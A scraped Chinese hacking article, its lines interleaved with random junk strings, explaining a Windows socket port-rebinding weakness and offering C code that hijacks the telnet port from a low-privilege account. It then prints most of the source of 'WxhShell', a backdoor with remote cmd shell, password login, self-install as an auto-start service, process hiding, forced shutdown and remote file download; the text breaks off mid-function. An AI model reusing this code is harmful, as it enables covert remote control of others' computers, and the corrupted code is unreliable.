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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V_9\Ax'X s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 54f?YR ^!O2Fw saddr.sin_family = AF_INET; _$v$v$74^ If|i `,Iy saddr.sin_addr.s_addr = htonl(INADDR_ANY); C+gu'hD sB01QVx47 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |8\et hiaTJE|J? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 , qhv( X<H+Z2d 这意味着什么?意味着可以进行如下的攻击: u#Uc6? E 11JO [ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1$"wN z [wJl]i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `=8G?3 u?8e>a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TJb&f< ,E4qxZC(X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 q -^Z=,< zrur-i$N+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l,Ixz1S3e uTP4r 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +@#-S J_XbtCmt 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bJ6v5YA% [m]O^Hp{{ #include ~Q1%DV. #include Lmyw[s\U #include \"A~ks~ #include NSAp.m
DWORD WINAPI ClientThread(LPVOID lpParam); z^9df( int main() YZ+<+`Mz< { $e![^I]` WORD wVersionRequested; HLDg_ On8 DWORD ret; C8
2lT_7" WSADATA wsaData; iI%"]- 0@1 BOOL val; O7T wM Yh SOCKADDR_IN saddr; gOA]..lh SOCKADDR_IN scaddr; @Tf5YZ* int err; XZ&q5]PJI SOCKET s; zDofe* SOCKET sc; ; +]GyDgVq int caddsize; JxLD}$I HANDLE mt; Nc :>] DWORD tid; \9dC z; wVersionRequested = MAKEWORD( 2, 2 ); 9#niMv9 err = WSAStartup( wVersionRequested, &wsaData ); }!RFX)T if ( err != 0 ) { ,LJX printf("error!WSAStartup failed!\n"); _p=O*$b. return -1; K)t+lJ } 'B4j=K* saddr.sin_family = AF_INET; |Xl,~-. 1PJ8O|Zt8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pUaGrdGxzQ cLe659 & saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nXqZkZE\ saddr.sin_port = htons(23);
$mG&4Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ``mW\=fe { ^++ec> printf("error!socket failed!\n"); .pQ4#AJ return -1; D+vHl} } p<3^= 8Y$ val = TRUE; ~?n)1Vr| //SO_REUSEADDR选项就是可以实现端口重绑定的 }$|uIS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &Q"Ox{~W { cC6W1K! printf("error!setsockopt failed!\n"); ZO $}m? return -1; niV= Ijt{5 } v1Lu.JQC$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?gMxGH:B.& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %maLo RJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1[vmK,N=E tA2I_WCl if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +[
944n { )_nc;&%w ret=GetLastError(); VL/%D* printf("error!bind failed!\n"); fK|F`F2V return -1; *gC6yQ2? } 6A]Ia4PL listen(s,2); K?q1I<94 while(1) sC Fqz[I { {uRnZ/m caddsize = sizeof(scaddr); YRYAQj/7 //接受连接请求 cM;&$IjCt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^L(}c O if(sc!=INVALID_SOCKET) ;$\d^i{N { "$tP>PO{< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KS/1ux4x if(mt==NULL) 8ctUK| { Yl+r>+^ printf("Thread Creat Failed!\n"); W|@/<K$V break; (!U5B
Hnd } iQ9jt } GyOo$FW CloseHandle(mt); Cu0N/hBT } 3!0Eh8ncI closesocket(s); F~dq7AS WSACleanup(); ~)#JwY return 0; gNO<`9q } 0FFx DWORD WINAPI ClientThread(LPVOID lpParam) E{*~>#+ { <[2]p\rj SOCKET ss = (SOCKET)lpParam; eM*@zo<- SOCKET sc; j|&?BBa9 unsigned char buf[4096]; shwKB 5 SOCKADDR_IN saddr; f#a ~av9rC long num; VGY#ph% DWORD val; 1Ig@gdmz DWORD ret; j1)HIQE|5f //如果是隐藏端口应用的话,可以在此处加一些判断 RbJ,J)C> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 A|V
|vT7cb saddr.sin_family = AF_INET; hmOhXE[a& saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c ZN+D D saddr.sin_port = htons(23); SR#X\AWM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N&!qur \ { WKFmU0RK printf("error!socket failed!\n"); [g_Cg=J return -1; Z_Ox ' } O1Gd_wDC/i val = 100; SB1\SNB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @O<kjR<b { xr)Rx{)3h ret = GetLastError(); t,;1?W# return -1; vIrLG1EK } C
G~)` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /I3#WUc;![ { MC!K7ji ret = GetLastError(); 4Wq{ch return -1; '!64_OMj' } `5;O|qRq if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #e0tT+ { !6ZkLE[XJ< printf("error!socket connect failed!\n"); 3VbQDPG closesocket(sc); ip4:px- closesocket(ss); C26PQGo#$ return -1; ^.F@yo2} } g83!il\ while(1) ]BU,*YaB { ik77i?Hg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &3mseU //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pq~"`-h7: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BYN<|= num = recv(ss,buf,4096,0); .}6 YKKqS if(num>0) 5@"&%8oeq0 send(sc,buf,num,0); b+\jFGC%6= else if(num==0) C:g2E[# break; P$Y<
g/s4 num = recv(sc,buf,4096,0); [6Uc?Bi if(num>0) FS r`Y send(ss,buf,num,0); ^9o;=!D!9 else if(num==0) K3&v6 #] break; VY$hg } ;8;nY6Ie closesocket(ss); g6$X { closesocket(sc); *plsZ*Q8 return 0 ; *TA${$K } E27wxMU N\Byg jw| o;mXk2 ========================================================== B2%)G$B ;uNcrv0J 下边附上一个代码,,WXhSHELL t<9oEjk[" 0 ]U
;5 ========================================================== &"fMiK3 b#R3=TQS8 #include "stdafx.h" WS@b3zzN GwV2`2 #include <stdio.h> l}%!&V0 #include <string.h> bp:WN #include <windows.h> j|9;")
1 #include <winsock2.h> "?V4Tl~uu #include <winsvc.h> Qv,|*bf #include <urlmon.h> D Y($ 5UR$Pn2a2 #pragma comment (lib, "Ws2_32.lib") JQ'NFl9< #pragma comment (lib, "urlmon.lib") dfGdY"& Lw?4xerLsb #define MAX_USER 100 // 最大客户端连接数 Rk56H #define BUF_SOCK 200 // sock buffer f.rz2)o #define KEY_BUFF 255 // 输入 buffer H=z@!rJc. 7am ._K #define REBOOT 0 // 重启 F'W{\4 #define SHUTDOWN 1 // 关机 |uQJMf[L) iCao;Zb #define DEF_PORT 5000 // 监听端口 XQ--8G !zwnFdp #define REG_LEN 16 // 注册表键长度 eCMcr !. #define SVC_LEN 80 // NT服务名长度 +q"d= ($'rV!} // 从dll定义API RS#)uC5/% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tQbDP!,A*= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *j2P#et typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NTuS(7m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B%Dy;zdWd/ R:x4j#( // wxhshell配置信息 QKYIBX struct WSCFG { Byyus[b'A int ws_port; // 监听端口 K!"[,=u_ char ws_passstr[REG_LEN]; // 口令 li8l+5d q int ws_autoins; // 安装标记, 1=yes 0=no #QQ\xj char ws_regname[REG_LEN]; // 注册表键名 WZ'8{XY8 char ws_svcname[REG_LEN]; // 服务名 Il%LI char ws_svcdisp[SVC_LEN]; // 服务显示名 m'XzZmI char ws_svcdesc[SVC_LEN]; // 服务描述信息 w#U3h]>, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "2}04b|" int ws_downexe; // 下载执行标记, 1=yes 0=no OqtQLqN char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 4Z"DF)+} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U")~bU @>B#2t& }; ~;QO`I=0P PQ<""_S|| // default Wxhshell configuration 1mgLH struct WSCFG wscfg={DEF_PORT, *L%HH@] %_ "xuhuanlingzhe", F:x" RbbF 1, cP`f\\c "Wxhshell", o"R[#E&Yx "Wxhshell", $`.7XD} "WxhShell Service", DbP!wU lqR "Wrsky Windows CmdShell Service", hf^, "Please Input Your Password: ", f}0(qN/G 1, t@QaxZIlt; " http://www.wrsky.com/wxhshell.exe", J "yO\Y "Wxhshell.exe" ,>V|%tD' }; D5Wo e&g, Oj\lg2Ck
// 消息定义模块 cjHo?m' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S=~[ 6;G char *msg_ws_prompt="\n\r? for help\n\r#>"; 6C4c.+S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; lPSyFb" char *msg_ws_ext="\n\rExit."; B/:q
char *msg_ws_end="\n\rQuit."; 9Iq [@v char *msg_ws_boot="\n\rReboot..."; n@XI$>B char *msg_ws_poff="\n\rShutdown..."; T=(/n= char *msg_ws_down="\n\rSave to "; t,M_ *BH*
char *msg_ws_err="\n\rErr!"; X#'DS&{ char *msg_ws_ok="\n\rOK!"; L/_h5Q:'W V$VqYy9 * char ExeFile[MAX_PATH]; 9cp-Rw<tI int nUser = 0; Urj8v2k HANDLE handles[MAX_USER]; Xt^ldW int OsIsNt; c [sydl UBzX%:A SERVICE_STATUS serviceStatus; Z,)4(#b = SERVICE_STATUS_HANDLE hServiceStatusHandle; jOa .h ^=.R#zrc // 函数声明 /17Qhex int Install(void); u n\!K int Uninstall(void); +%7v#CY
& int DownloadFile(char *sURL, SOCKET wsh); Q[ kbEhv; int Boot(int flag); NQz*P.q void HideProc(void); JGOry \ int GetOsVer(void); ,Md8A`7x~ int Wxhshell(SOCKET wsl); $wg5q\Rv void TalkWithClient(void *cs); N4I`6uDgD int CmdShell(SOCKET sock); d00#;R int StartFromService(void); uf]SPG#/D int StartWxhshell(LPSTR lpCmdLine); <k!M+}a 9V X0Zqx1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3_|<CE6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); W@`2+} {^=T&aCYdS // 数据结构和表定义 "s]r"(MX SERVICE_TABLE_ENTRY DispatchTable[] = T\I}s"d { 3)88B"E {wscfg.ws_svcname, NTServiceMain}, ~U(`XvR\4 {NULL, NULL} OB`(,m# }; pYf57u Q)c3=.[> // 自我安装 g = ~Y\$& int Install(void) k#uSH
eq7f { ADK)p? char svExeFile[MAX_PATH]; ^\
A[^' 9 HKEY key; 4&X
D strcpy(svExeFile,ExeFile); cWjb149@) <*EMcZ // 如果是win9x系统,修改注册表设为自启动 ?!^ow5"8 if(!OsIsNt) { n75)%-
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k>E^FB= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fb-Lp#!T39 RegCloseKey(key); q;Tdqv!Ju if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WD#
96V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |eykb?j` RegCloseKey(key); uzg(C#sp return 0; WJWi'|C4 } k-IL%+U } p[R4!if2 } Q,R>dkS else {
E@ J/_l; M2H +1ic // 如果是NT以上系统,安装为系统服务 uonCD8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 60,z! Vv if (schSCManager!=0) T<yAfnTb` { >RJjm&M SC_HANDLE schService = CreateService -!;2?6R9{ ( &H8wYs schSCManager, jq%%|J.x wscfg.ws_svcname, oC
?UGY~xL wscfg.ws_svcdisp, yN[aBYJx,M SERVICE_ALL_ACCESS, $inlI_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fwQVx Je SERVICE_AUTO_START, YBh|\ SERVICE_ERROR_NORMAL, )U12Rshl svExeFile, >[}lC7 z, NULL, R !g'zS' NULL, (xpt_]Q!H NULL, J^<Gi/:*^ NULL, Drm#z05i[g NULL RO+ jVY~H- ); Ov8^6O if (schService!=0) QN47+)cVt" { Vu.VH([b]Q CloseServiceHandle(schService); &O
+?#3 CloseServiceHandle(schSCManager); OQW%nF9~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kzw br?&z strcat(svExeFile,wscfg.ws_svcname); a+'k#m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n*A?>NV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 37apOK4+ RegCloseKey(key); #($~e| return 0; V>Dqw! } ^h\(j*/#X } #[f]-c(! CloseServiceHandle(schSCManager); :eIi^K z[ } Z8C~o)n9 } }1fi# /RVwhA+c return 1; lfvt9!SJ+/ } '0-YFx'U0V \SSHj ONX // 自我卸载 +*RaX (&
int Uninstall(void) mR|L'[l { Ml_Hq>\U HKEY key; 9?X8H1 FKZ'6KM&A if(!OsIsNt) { yPrF2@#XZ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6am
g*=] RegDeleteValue(key,wscfg.ws_regname); _'8P8T& RegCloseKey(key); J':X$>E| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r[?GO"ej5 RegDeleteValue(key,wscfg.ws_regname); $RH. RegCloseKey(key); R
+
~b@ return 0; = N&5]Z } SzP`(}AU } uMx6: } !"2S'oQKS else { oyB
gF\ [Dhqyjq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CvHE7H|-{ if (schSCManager!=0) fmq''1u { )J*M{Gm 6i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H*j!_>W if (schService!=0) ]d67 HOyK { 1rx,qfCq if(DeleteService(schService)!=0) { 2&"qNpPtE CloseServiceHandle(schService); 7}:+Yx CloseServiceHandle(schSCManager); 1 | return 0; Brtsig,4 } ?g\emhG CloseServiceHandle(schService); Nq9\ 2p } m"@o CloseServiceHandle(schSCManager); nU4to } IM% ,A5u } aFaioE#h( xa.tH)R return 1; Ul_5"3ze } #M%K82" TZ63=m // 从指定url下载文件 JM1O7I int DownloadFile(char *sURL, SOCKET wsh) +4$][3. { @XJ#oxM^ HRESULT hr; C}#$wge
char seps[]= "/"; @ ]40xKF char *token; f8
BZk h char *file; E!'6vDVC: char myURL[MAX_PATH]; AsD$M*It char myFILE[MAX_PATH]; a^={X<K|/ MyZVx|7E strcpy(myURL,sURL); ZIKSHC9 token=strtok(myURL,seps); ,Nt^$2DZW while(token!=NULL) t~7OtPF { uNkJe file=token; c]h@<wnv token=strtok(NULL,seps); 0SfW:3 } B0U(B\~Y Bn9#F#F< GetCurrentDirectory(MAX_PATH,myFILE); m]vS"AdX strcat(myFILE, "\\"); X% )~i[_DV strcat(myFILE, file); ]#Cc7wa
send(wsh,myFILE,strlen(myFILE),0); 9: .m]QN send(wsh,"...",3,0); ,z<1:st]< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N]eBmv$| if(hr==S_OK) 3&>0'h return 0; wVqp')e else 2}=@n*8*d return 1; C1'y6{,@ {,i-V57-h } CuD}Uo+u O wuc9 // 系统电源模块 &r.M~k
> int Boot(int flag) ; PncJe5x { :hT.L3n, HANDLE hToken; e!PB3I TOKEN_PRIVILEGES tkp; %ufh "={* 0P if(OsIsNt) { F^$;hMh% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n$N$OFuO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {nXygg
J tkp.PrivilegeCount = 1; Cdy,8* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O/|))H?C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U(0FL6sPC if(flag==REBOOT) { d#TA20` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K-~g IlbQ` return 0; JO*/UC>" } iGSA$U P| else { e
pp04~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7*j!ZUzp return 0; Q5ff&CE } JOpH
Z? } T>]T= else { s;YbZ*oaMe if(flag==REBOOT) { {1Y@%e if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) od{\z return 0; 4d%0a%Z } q\}+]|nGs else { ,cL;,YN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5@%.wb4 return 0; 4uzMO < } {aN pk,n } R|}N"J _ 1cv~_jFh return 1; ^~I@]5Pq } +}N'Xa/Jt t/Y0e#9, // win9x进程隐藏模块 Bcarx<P-p void HideProc(void) 4xEw2F { mE`qA*=? [nZIV HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b~}$Ch3ymW if ( hKernel != NULL ) t))MZw&@ { ;:j1FOj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HO['o{>BL ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hO&b\#@~ FreeLibrary(hKernel); CxeW5qc } `:Gzjngc JC%&d1
return; 4MS#`E7LrC } s:7/\h h Fik>B#! // 获取操作系统版本 0W}qp?
int GetOsVer(void) 9M;t4Um { RSe4lw OSVERSIONINFO winfo; ZaU8eg7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k`Ifl) GetVersionEx(&winfo); -1Dq_!i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pd#Sn+&rf return 1; 6_4B! else 7M~sol[* return 0; Nwz?*~1 } /$CTz xd1 Ac|\~w[\ // 客户端句柄模块 iW^J>aKy int Wxhshell(SOCKET wsl) dgF%&*Il]O { S@qR~_>a SOCKET wsh; E I zy struct sockaddr_in client; .dk<?BI#H DWORD myID; 7Vsp<s9bj A$3Rbn}" while(nUser<MAX_USER) IO)#O< { m9oOH5@K~ int nSize=sizeof(client); H:]cBk^[, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {?eUAB< if(wsh==INVALID_SOCKET) return 1; <kdlXS>J. 3}<U'%sd handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zk
FX[-'O if(handles[nUser]==0) Bj1%}B closesocket(wsh); R
,qQC< else ];LFv5" nUser++; 0mujf } /@k#tdj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M&j|5UH%. <mE`<-$ return 0; X n$ZA- } R,G*]/r` zo(#tQ-'m // 关闭 socket <'~m1l#2 void CloseIt(SOCKET wsh) h9)fXW { iyl
i/3| closesocket(wsh); GYfOwV!zB nUser--; tO8\} u4c ExitThread(0); W~/d2_|/ } cdt9hH`Cd h6
{vbYj // 客户端请求句柄 >\Dy void TalkWithClient(void *cs) .how@>:P+ { g[O?wH-a N
$) G8 SOCKET wsh=(SOCKET)cs; ^
~Eh+ char pwd[SVC_LEN]; eo0-aHs char cmd[KEY_BUFF]; qh~bX
i! char chr[1]; [34N/;5 int i,j; dT|f<E/P V.P<>~W while (nUser < MAX_USER) { f1MRmp-f' iYStl if(wscfg.ws_passstr) { b&U1^{( if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Plp.\N%f3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Cl0Kw.LD //ZeroMemory(pwd,KEY_BUFF); etr-\Cp i=0; ep"[;$Eb while(i<SVC_LEN) { 32[}@f2q a{]=BY oL // 设置超时 vFVUdxPOw fd_set FdRead; );gY8UL^ struct timeval TimeOut; S/'0czDMW FD_ZERO(&FdRead); lGd'_~'= FD_SET(wsh,&FdRead); OyZR&,q TimeOut.tv_sec=8; fCr2'+O"b TimeOut.tv_usec=0; 1Z# $X` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?G,4N<]Nu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c@t?R$c jSY[Y:6md if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qVn<c,8# pwd =chr[0]; 0^ODJ7 if(chr[0]==0xd || chr[0]==0xa) { 4XN
\p pwd=0; TpKAdrY break; Bu{Kjv } FU3K?A
B i++; h6h6B.\Ld } "\b>JV5 UBaXS_c\ // 如果是非法用户,关闭 socket \=ML*Gi* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b>07t!; } u"v7shRp: W0gS>L_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *dBeb send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L`+[mX&2B Z.\q$U7'9 while(1) { %B%_[<B uH[WlZ4 ZeroMemory(cmd,KEY_BUFF); >. |({;n9 -n _Y.~ // 自动支持客户端 telnet标准 jx}&%p X j=0; t1']q" while(j<KEY_BUFF) { C]ss' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yYCS-rF> cmd[j]=chr[0]; mfraw2H if(chr[0]==0xa || chr[0]==0xd) { ?H=YJK$k cmd[j]=0; ;+ hh|NiQ break; u[GZ~L } C>Ik ; j++; {T4_Xn -I } )d3
09O ziM{2Fs> // 下载文件 =3bk=vy if(strstr(cmd,"http://")) { n8,%<!F^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); z9o]);dZ if(DownloadFile(cmd,wsh)) B"4 3o7C send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P~e)<. else &f.5:u%{b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L ]')=J+ } xQFRM aQE else { q%3VcR$J K?l|1jez(# switch(cmd[0]) { .}dLqw 5U?O1}P // 帮助 y_WC"
case '?': { rc=E%Qv%? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~?/7:S break; $xu2ZBK } RZz?_1' // 安装 st w@@GQ case 'i': { voZaJ2ho/O if(Install()) sUF$eVAT send(wsh,msg_ws_err,strlen(msg_ws_err),0); `gl?y;xC else *"^X)Y{c+l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?qQ{]_q1&. break; Zr}>>aIJ]k } r9f- [wC // 卸载 Vz mlKVE case 'r': { G]B0LUT6c if(Uninstall()) 6C$+D send(wsh,msg_ws_err,strlen(msg_ws_err),0); ckX8eg!f else #hBqgG:> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U#f* break; Gb^63.} } IR/S`HD_ // 显示 wxhshell 所在路径 Md6u4c case 'p': { wG O-Z']i char svExeFile[MAX_PATH]; dwn|1%D strcpy(svExeFile,"\n\r"); % 3#g- strcat(svExeFile,ExeFile); caEIE0H~ send(wsh,svExeFile,strlen(svExeFile),0); 8mr fs%_ break; S(=@2A+; } Pr>$m{
Z // 重启 QmBHD;Gf case 'b': { j Hq+/\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (F'~K,0 if(Boot(REBOOT)) ceg\lE:8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); HtN:v else { IiKU=^~w closesocket(wsh); /: !sn-( ExitThread(0); i(A`'V8GY } `c:r`Oi? break; K`=U5vG^ } #W:.Fsq // 关机 KMT$/I{p, case 'd': { ?r;F'%N= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UXSwd#I& if(Boot(SHUTDOWN)) hQ3@Cf W send(wsh,msg_ws_err,strlen(msg_ws_err),0); _WV13pnRu else { $zz4A~
closesocket(wsh); "P5,p"k:) ExitThread(0); :Nz
TEK } r0z8? break; .yDR2sW } CS%ut-K<5M // 获取shell :|l0x a case 's': { 1xxTI{'g[ CmdShell(wsh); BDN}`F[F closesocket(wsh); p7},ymQ|YQ ExitThread(0); 7\dt<VV break; Sn97DCdk } NX8w(~r,: // 退出 KjA7x case 'x': { __z/X"H send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ({4?RtYm CloseIt(wsh); UeUOGf , break; $y)tcVc } sVO|Ghy65 // 离开 HELTL$j,b case 'q': { pE1uD4lLb send(wsh,msg_ws_end,strlen(msg_ws_end),0); /0L]Pf; closesocket(wsh); $SLyI$<gP WSACleanup(); m=`V exit(1); \KEmfCx'n break; jJ>I*'w } *eAt ' } &S^a_L: } 9dg+@FS}= * se),CP!s // 提示信息 qE^u{S4Z@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); en MHKN g } ohPXwp?] } i .?l\ uN&49o return; )q7!CG'oY } ;S2/n$Ju_ !;PKx]/& // shell模块句柄 P; =,Q$e8 int CmdShell(SOCKET sock) Yu%ZwTvw { e58tf3 STARTUPINFO si; ;>p{|^X0D ZeroMemory(&si,sizeof(si)); %Y].i/".;P si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4!+IsT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }5gQ dj[Y PROCESS_INFORMATION ProcessInfo; S#D6mg$Z, char cmdline[]="cmd"; Daf;;
w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~
Q;qRx return 0; $T'lWD * } "qY_O/Eg]] b;e*`f8T3c // 自身启动模式 ,3ivB8 int StartFromService(void) fH
5/ { >x1?t typedef struct n ^C"v6X
{ _$qH\>se DWORD ExitStatus; ?F%,d{^ DWORD PebBaseAddress; ]OA8H[U-eA DWORD AffinityMask; [RUYH5>Ik DWORD BasePriority; z/S}z4o/ ULONG UniqueProcessId; bu r0?q ULONG InheritedFromUniqueProcessId; &qFy$`" } PROCESS_BASIC_INFORMATION; Z:%~Al: "f`{4p0v PROCNTQSIP NtQueryInformationProcess; 7pz #%Hf sZPA(N? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F| O static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I.}E#f/A' eN]9=Y~-K HANDLE hProcess; w'D=K_h PROCESS_BASIC_INFORMATION pbi; dX~$#-Ad86 |"EQyV HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -Fs<{^E3j if(NULL == hInst ) return 0; eB*0}) -]~vEfq+T g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NXDuO_# g_pGetModuleBaseName = 